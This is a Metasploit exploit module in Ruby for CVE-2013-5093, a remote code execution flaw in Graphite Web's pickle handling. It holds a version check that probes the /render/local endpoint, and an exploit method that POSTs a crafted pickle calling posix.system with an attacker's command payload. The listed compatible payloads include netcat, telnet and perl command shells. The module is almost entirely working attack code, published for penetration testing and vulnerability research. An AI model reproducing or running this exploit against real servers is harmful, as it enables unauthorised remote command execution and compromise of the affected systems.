## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. ##   require 'msf/core'  class Metasploit3 < Msf::Exploit::Remote   Rank = ExcellentRanking     include Msf::Exploit::Remote::HttpClient     def initialize(info = {})     super(update_info(info,       'Name'       => 'Graphite Web Unsafe Pickle Handling',       'Description'   => %q{         This module exploits a remote code execution vulnerability in the pickle         handling of the rendering code in the Graphite Web project between version         0.9.5 and 0.9.10(both included).       },       'Author'     =>         [           'Charlie Eriksen' # Initial discovery and exploit         ],       'License'     => MSF_LICENSE,       'References'    =>         [           [ 'CVE', '2013-5093'],         ],       'Platform'      => 'unix',       'Arch'        => ARCH_CMD,       'Privileged'    => false,       'Targets'     => [ ['Automatic', {} ] ],       'DisclosureDate' => 'Aug 20 2013',       'DefaultTarget'  => 0,       'Payload'     =>         {           'DisableNops' => true,           'Space'      => 16384,           'Compat'    =>             {               'PayloadType' => 'cmd',               'RequiredCmd' => 'python generic telnet netcat perl ruby'            }         }))       register_options(       [         OptString.new('TARGETURI', [ true, 'The path to a vulnerable application', '/'])       ], self.class)     end    def check     response = send_request_cgi({       'uri'    => normalize_uri(target_uri.path, 'render', 'local'),       'method' => 'POST'    })       if response and response.code == 500      return Exploit::CheckCode::Detected     end    return Exploit::CheckCode::Safe   end    def exploit     data = "line\ncposix\nsystem\np1\n(S'#{payload.encoded}'\np2\ntp3\nRp4\n."      print_status("Sending exploit payload...")       response = send_request_cgi({       'uri'    => normalize_uri(target_uri.path, 'render', 'local'),       'method' => 'POST',       'data'    => data     })   endend